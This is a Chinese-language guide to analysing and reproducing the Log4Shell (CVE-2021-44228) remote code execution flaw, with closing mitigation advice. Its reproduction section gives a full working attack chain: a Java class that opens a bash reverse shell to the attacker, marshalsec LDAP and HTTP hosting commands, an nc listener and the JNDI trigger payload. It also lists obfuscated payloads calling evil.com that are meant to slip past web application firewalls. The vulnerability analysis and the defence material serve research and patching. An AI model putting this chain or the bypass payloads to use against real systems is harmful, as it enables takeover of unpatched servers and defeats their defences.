Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)深入分析与复现指南
一、漏洞概述
CVE编号:CVE-2021-44228
漏洞名称:Log4Shell
威胁等级:严重(Critical)
影响组件:Apache Log4j2,一个基于Java的流行日志记录框架。
漏洞本质:由于Log4j2提供的Lookup功能未对用户输入进行充分验证,导致攻击者可以通过构造特殊的日志信息,触发JNDI注入,从而实现远程代码执行(RCE)。
二、核心知识:漏洞机制深度解析
要理解此漏洞,需要掌握三个关键技术的交互作用:
1. Log4j2 的 Lookup 机制
Lookup是Log4j2的一项功能,允许用户在日志配置或日志消息中动态地添加某些值。其语法格式为 ${prefix:name},其中prefix指定了查找的类型。
- 示例:
${java:version}: 插入当前Java版本。${env:PATH}: 插入系统环境变量PATH的值。- 关键点:
${jndi:logging/context-name}是一种特殊的Lookup,它允许通过JNDI(Java命名和目录接口) 从远程服务获取对象。
2. JNDI (Java Naming and Directory Interface)
JNDI是Java提供的一个API,用于通过名称来访问和定位各种服务和资源(如数据库、文件系统、目录服务等)。它支持多种协议,其中两种对此漏洞至关重要:
- RMI (Remote Method Invocation): Java的远程方法调用协议。
- LDAP (Lightweight Directory Access Protocol): 轻量级目录访问协议。
- 漏洞利用关键:JNDI的一个危险特性是,它支持从远程服务器动态加载和实例化Java对象。如果JNDI客户端(即存在漏洞的应用程序)解析了一个指向恶意服务器的地址,该服务器可以返回一个指向恶意Java类的引用,客户端则会自动下载并执行该类。
3. 漏洞触发链条
漏洞的触发是上述两者结合的结果,其流程如下图所示:
flowchart TD
A[攻击者构造恶意请求] --> B[应用程序记录包含<br>${jndi:ldap://evil.com/x}的日志]
B --> C[Log4j2解析日志消息<br>识别JNDI Lookup表达式]
C --> D[Log4j2向恶意LDAP服务器<br>evil.com 发起JNDI查询]
D --> E[恶意LDAP服务器响应<br>并返回一个指向<br>http://evil.com/Exploit.class的引用]
E --> F[存在漏洞的服务器<br>从HTTP地址下载并实例化Exploit类]
F --> G[Exploit类的静态代码块<br>或构造函数中的恶意代码被执行]
G --> H[成功实现远程代码执行<br>(如反弹Shell)]
三、受影响版本
- 受影响版本:Apache Log4j 2.x <= 2.14.1
- 安全版本:Apache Log4j 2.15.0 及以上版本(首次修复)
四、漏洞复现实践
环境准备
- 靶机:一台运行存在漏洞的Java应用(如文中提到的Solr服务)的服务器。
- 攻击机:一台可控的公网或内网服务器(Kali Linux或类似系统)。
- 工具:
- marshalsec: 用于快速启动恶意JNDI/LDAP服务器的工具。
- Dnslog.cn: 用于无回显漏洞的初步验证。
- Netcat: 用于接收反弹Shell。
复现步骤
步骤一:初步验证(利用DNSLog)
此步骤用于无害验证目标是否存在漏洞,且日志记录功能是否开启。
- 访问
dnslog.cn,获取一个临时域名,例如abc123.dnslog.cn。 - 向目标应用发送包含以下Payload的请求(例如通过HTTP头、参数等):
${jndi:ldap://${sys:java.version}.abc123.dnslog.cn} - 刷新dnslog页面,如果看到有以你当前Java版本(如
1.8.0_181)为子域名的DNS查询记录,则证明漏洞存在。
步骤二:实现远程代码执行(反弹Shell)
-
编写恶意Java类(Exploit)
创建一个名为Reverse.java的文件,内容如下。此代码将在被加载时执行,尝试建立反向连接。import java.lang.Runtime; import java.lang.Process; public class Reverse { static { try { Runtime rt = Runtime.getRuntime(); // 将命令修改为适合目标系统的命令(这里是Linux bash反弹Shell) String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // 忽略异常 } } } -
编译恶意类
javac Reverse.java这将生成
Reverse.class文件。 -
搭建恶意HTTP服务
将Reverse.class文件放入一个目录,并在该目录下启动一个简单的HTTP服务器,端口为8080。python3 -m http.server 8080 -
启动恶意LDAP服务器
使用marshalsec工具启动一个LDAP服务器,它会将客户端的JNDI请求重定向到你的HTTP服务。java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://你的攻击机IP:8080/#Reverse" 5555此命令会在5555端口启动LDAP服务,当有客户端查询
Reverse时,会指引其从http://你的攻击机IP:8080/Reverse.class下载类文件。 -
在攻击机监听端口
nc -lvnp 4563 # 监听4563端口,等待反弹Shell连接 -
发送最终Payload触发漏洞
向目标应用发送最终的攻击载荷:${jndi:ldap://你的攻击机IP:5555/Reverse} -
获取Shell
如果一切配置正确,你将在Netcat监听端口中收到来自目标服务器的反向Shell连接,从而获得对目标系统的控制权。
五、绕过WAF的Payload技巧
文章列举了多种混淆Payload以绕过Web应用防火墙(WAF)规则的方法:
-
大小写混淆:
${jNdI:lDaP://evil.com/x}${${lower:JNDI}:${lower:LDA}P://evil.com/x}
-
利用默认值语法
${:-}:${${::-J}ndi:ldap://evil.com/x}${${env:NOT_EXIST:-j}ndi:${env:NOT_EXIST:-l}dap://evil.com/x}
-
字符拆分与组合:
${${lower:J}${lower:N}${lower:D}i:ldap://evil.com/x}
-
Unicode编码:
${\u006a\u006e\u0064\u0069:\u006c\u0064\u0061\u0070://evil.com/x}(\u006a是j的Unicode编码)
-
多种技巧组合(最有效):
${${a:-j}ndi:${lower:L}${upper:D}ap://evil.com/x}${jnd${upper:ı}:ldap://evil.com/x}(使用类似ı的字符)
六、修复与防御方案
-
紧急缓解措施(治标):
- 设置系统属性:在启动Java应用时添加参数
-Dlog4j2.formatMsgNoLookups=true。此操作会全局禁用Lookup功能,从而阻断JNDI注入。 - 修改日志配置:对于Log4j 2.10及以上版本,可在配置文件
log4j2.component.properties中设置log4j2.formatMsgNoLookups=true。 - 网络层控制:使用防火墙策略严格限制应用服务器的出站连接,禁止其随意访问外网,尤其是LDAP(389/636)和RMI(1099)等协议端口。
- 设置系统属性:在启动Java应用时添加参数
-
根本解决方案(治本):
- 升级Log4j2:立即将Log4j2组件升级到官方发布的安全版本(2.15.0 或更高版本)。这是最有效、最彻底的修复方式。
-
WAF规则更新:
- 部署能检测上述各种混淆技术的WAF规则,对包含可疑模式(如
jndi:,ldap:,rmi:,以及各种大小写和编码变种)的请求进行拦截。
- 部署能检测上述各种混淆技术的WAF规则,对包含可疑模式(如
总结:CVE-2021-44228是一个典型的“供应链漏洞”,其危害性极大,因为日志功能是几乎所有应用程序的基础组件。理解其原理、掌握复现方法、并知晓如何防御和绕过防御,对于安全研究人员、开发人员和运维人员都至关重要。